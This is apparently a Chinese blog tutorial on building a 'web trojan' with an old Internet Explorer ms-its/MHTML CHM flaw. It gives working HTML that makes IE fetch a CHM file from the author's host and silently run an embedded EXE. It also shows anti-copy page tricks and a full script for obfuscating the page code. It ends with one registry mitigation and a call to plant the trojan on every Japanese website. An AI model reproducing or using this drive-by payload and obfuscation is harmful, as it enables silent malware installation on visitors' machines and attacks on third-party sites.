打造终极网页木马,值得一读!
打造终极网页木马,值得一读!
打造终极网页木马,值得一读! 打造终极网页木马,值得一读! 如果你打开此页看到了类似下面的这个程序窗口,那我就“恭喜”你有“洞洞”了^O^

此漏洞被发现已不是一天两天的事了,考虑到用户的安全等因素,微软以及一些安全组织并没有公开发布此漏洞,只是近日发现网络上有越来越多的利用该漏洞捆绑木马的网页后美国计算机应急响应小组(Computer Emergency Readiness Team,简称CERT) 才正式公布了微软IE浏览器中存在的一个最新漏洞,目前这一漏洞还没有完善的解决方案,用户即使采取了一定的保护措施仍然不能完全避免该漏洞所带来的危险。利用这一漏洞,入侵者可以欺骗IE浏览器中的InfoTech Storage(ITS)协议处理器,使之从其它域获取脚本,并获得同目标计算机上本地区域相同的权限。CERT指出,入侵者在访问某一网站时通过使用一个特殊的URL地址就可以执行上述脚本,从而获得他人的信用卡信息甚至是造成整个网络瘫痪。这一漏洞的工作原理如下:IE浏览器通过ITS或者MHTML协议来标识一个不能访问或是不存在的MHTML文件;当IE浏览器没 有发现编译完成的HTML帮助文件(CHM)时,ITS协议处理器就可能会受到欺骗从而访问来自其它域的CHM文件。此时入侵者就可以通过对CHM文件进行精心设计,使之包含可以从其它域执行的脚本,从而交叉域安全模式也就被入侵者攻破了。
闲话少说,立即进入正题。实现起来非常简单,相信稍微懂一点Html的人都能手动实现的。
<BODY onmouseup=document.selection.empty() oncontextmenu='return false' onselectstart='return false' ondragstart='return false' onbeforecopy='return false' oncopy=document.selection.empty() onselect=document.selection.empty()>
<OBJECT id=RUNIT codeBase=IEPack.exe type=application/x-oleobject height=0 width=0 OBJECT>
Body标签内进行了一些访问控制,屏蔽了鼠标进行选择、屏蔽鼠标右键、屏蔽鼠标的拖拽操作、防止Copy等等。第二个标签是负载EXE的代码,通过OBJECT标签负载一个二进制文件,注意这里的type类型为'application/x-oleobject',上面的代码在object中加入了一个名为'IEPack.exe'的执行文件,如果这时直接打开此html,你就会发现EXE文件也神奇的运行起来了,聪明的你是不是已经看出来点什么了?
再建立一个htm文件mm.htm,写入以下代码:
<BODY onmouseup=document.selection.empty() oncontextmenu='return false' onselectstart='return false' ondragstart='return false' onbeforecopy='return false' oncopy=document.selection.empty() onselect=document.selection.empty()>
<TEXTAREA id=code style='DISPLAY: none'>
<object data='ms-its:mhtml:file://c:\foo.mht!${path}/help.chm::/chm.html' type='text/x-scriptlet'></object>
</TEXTAREA>
<SCRIPT language=javascript>
document.write(code.value.replace(/\${path}/g,location.href.substring(0,location.href.indexOf('chm.html'))));
</SCRIPT>
<OBJECT type='text/x-scriptlet' data='ms-its:mhtml:file://c:\foo.mht!http://duduwolf.winzheng.com/public/IEpack/help.chm::/chm.html'></OBJECT>
呵呵,如果觉得看起来乱七八糟的话建议将以上代码copy到htm编辑器中查看,就容易的多了,代码中第一个标签body和前面一个一样。第二个为textarea标签,请注意里面包含了一个object标签,这个标签就用到了IE的ms-its漏洞,data的值是一串带ms-its协议的文件路径,其中的${path}只是为了掩人耳目罢了,紧接着看第三个标签,是一段javascript脚本,脚本的内容就是把textarea里的值(即那段<object .....></object>)进行字符替换,要替换的内容就是${path}前面的所有字符,大家要奇怪,这里为什么要替换呢,好好的直接写进去难道不行吗?当然不行!!
因为IE在下在此页面后,谁都不知道它把这个页面的本地临时文件放到那个位置,你不知道位置,当然无法run chm里面的那个EXE了,所以用代码里用location.href.substring(0,location.href.indexOf('chm.html'))得到了本地临时页面的全路径。location.href返回的就是当前页面的全路径文件名,然后用substring一选就很轻松得到路径了,再用replace替换,轻轻松松就得到chm文件的全路径名了。哦,这里忘了说,这个IE漏洞的关键就是客户端(IE)会自动下载服务器上的chm文件(抱歉,怎么把最关键的技术给忘了 汗。。。)。
最后一个标签还是一个object,这个标签的作用就是显示chm里包含的那个htm文件,也就是第一、二步制作的那个chm.html文件。至于代码中两次出现的'ms-its:mhtml:file://c:\foo.mht!',这是ms-its的特定格式,具体什么意思我还没研究呢,等我知道了在告诉你:)
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.0 Transitional//EN'>
<HTML><HEAD><TITLE>网页代码加密解密器</TITLE>
<META http-equiv=Content-Type content='text/html; charset=gb2312'><LINK
href='http://a0759.nease.net/images/css.css' type=text/css rel=stylesheet>
<SCRIPT language=JavaScript>
<!--
var i=0;
var ie=(document.all)?1:0;
var ns=(document.layers)?1:0;
function initStyleElements() /* Styles for Buttons Init */
{
var c = document.pad;
if (ie)
{
//c.text.style.backgroundColor='#DDDDDD';
c.compileIt.style.backgroundColor='#C0C0A8';
c.compileIt.style.cursor='hand';
c.select.style.backgroundColor='#C0C0A8';
c.select.style.cursor='hand';
c.view.style.backgroundColor='#C0C0A8';
c.view.style.cursor='hand';
c.retur.style.backgroundColor='#C0C0A8';
c.retur.style.cursor='hand';
c.clear.style.backgroundColor='#C0C0A8';
c.clear.style.cursor='hand';
}
else return;
}
/* Buttons Enlightment of 'Compilation' panel */
function LightOn(what)
{
if (ie) what.style.backgroundColor = '#E0E0D0';
else return;
}
function FocusOn(what)
{
if (ie) what.style.backgroundColor = '#EBEBEB';
else return;
}
function LightOut(what)
{
if (ie) what.style.backgroundColor = '#C0C0A8';
else return;
}
function FocusOff(what)
{
if (ie) what.style.backgroundColor = '#DDDDDD';
else return;
}
/* Buttons Enlightment of 'Compilation' panel */
function generate() /* Generation of 'Compilation' */
{
code = document.pad.text.value;
if (code)
{
document.pad.text.value='正在生成加密代码,请稍后!';
setTimeout('compile()',1000);
}
else alert('请输入源文件代码')
}
function compile() /* The 'Compilation' */
{
document.pad.text.value='';
compilation=escape(code);
document.pad.text.value='<script>\n<!--\ndocument.write(unescape(\''+compilation+'\'));\n//-->\n<\/script>';
i++;
alert('页面被加密了 '+i+' 次!');
}
function selectCode() /* Selecting 'Compilation' for Copying */
{
if(document.pad.text.value.length>0)
{
document.pad.text.focus();
document.pad.text.select();
}
else alert('没有可以选择的文本内容!')
}
function preview() /* Preview for the 'Compilation' */
{
if(document.pad.text.value.length>0)
{
pr=window.open('','Preview','scrollbars=1,menubar=1,status=1,width=700,height=320,left=50,top=110');
pr.document.write(document.pad.text.value);
}
else alert('没有可以预浏览的文本内容!')
}
function uncompile() /* Decompiling a 'Compilation' */
{
if (document.pad.text.value.length>0)
{
source=unescape(document.pad.text.value);
document.pad.text.value=''+source+'';
}
else alert('你需要生成被加密的代码后才能取回源代码!')
}
// -->
</SCRIPT>
<SCRIPT language=JavaScript type=text/JavaScript>
<!--
function MM_swapImgRestore() { //v3.0
var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}
function MM_preloadImages() { //v3.0
var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
if (a[i].indexOf('#')!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}
function MM_findObj(n, d) { //v4.01
var p,i,x; if(!d) d=document; if((p=n.indexOf('?'))>0&&parent.frames.length) {
d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
if(!x && d.getElementById) x=d.getElementById(n); return x;
}
function MM_swapImage() { //v3.0
var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
}
//-->
</SCRIPT>
<META content='MSHTML 6.00.2800.1106' name=GENERATOR></HEAD>
<BODY text=#000000 bgColor=#ffffff
onload='MM_preloadImages('../../images/Close.gif')'>
<TABLE cellSpacing=0 cellPadding=0 width=500 align=center border=0>
<TBODY>
<TR>
<TH>网页代码加密解密器</TH></TR>
<TR>
<TD>
<HR width='95%' noShade SIZE=1>
</TD></TR>
<TR>
<TD>
<FORM name=pad method=post align='center'><TEXTAREA style='WIDTH: 100%; BACKGROUND-COLOR: #ebebeb' name=text rows=15 cols=100></TEXTAREA>
<BR><INPUT onmouseover=LightOn(this) onclick=generate() onmouseout=LightOut(this) type=button value=加密代码 name=compileIt>
<INPUT onmouseover=LightOn(this) onclick=selectCode() onmouseout=LightOut(this) type=button value=全选代码 name=select>
<INPUT onmouseover=LightOn(this) onclick=preview() onmouseout=LightOut(this) type=button value=预浏览页面 name=view>
<INPUT onmouseover=LightOn(this) onclick=uncompile() onmouseout=LightOut(this) type=button value=原代码 name=retur>
<INPUT onmouseover=LightOn(this) onmouseout=LightOut(this) type=reset value=清空 name=clear>
</FORM></TD></TR>
<TR>
<TD align=middle><A
onmouseover='MM_swapImage('Image2','','../../images/Close.gif',1)'
onmouseout=MM_swapImgRestore() href='javascript:window.close()'><IMG
height=18 src="http://a0759.nease.net/images/Close-1.gif" width=52
border=0 name=Image2></A></TD></TR></TBODY></TABLE></BODY></HTML>
忘了说明一下,以上代码也是我从网上扒下来的,作者忘了,在这里感谢作者给大家提供一个这么好用的工具!!还有一点需要说明就是加密次数不受限制的,点击一次加密一次,再点再加密,不嫌麻烦你就多点几次,不过这会影响页面解析速度的,页面解析时是一层一层进行解密,加几次就要解几次的。我在测试程序里加密三次,相信加密后地球人都看不懂的:)
打开注册表,转入HKEY_CLASSES_ROOT\PROTOCOLS\Handle主键下,重命名ms-its键就行了,比如改为:ms-its.bak,如果你在浏览此页面时正如文章开头所说弹出了一个窗体,直接点击那个按钮也可以达到相同的作用。
今天是卢沟桥事变日,望大家勿忘国耻!给小日本的网站上全部加上这个木马,嘿嘿。。。
mail:duduwolf@hotmail.com
qq:977257
http://duduwolf.winzheng.com
http://blog.csdn.net/duduwolf
duduwolf 写于7月7日晚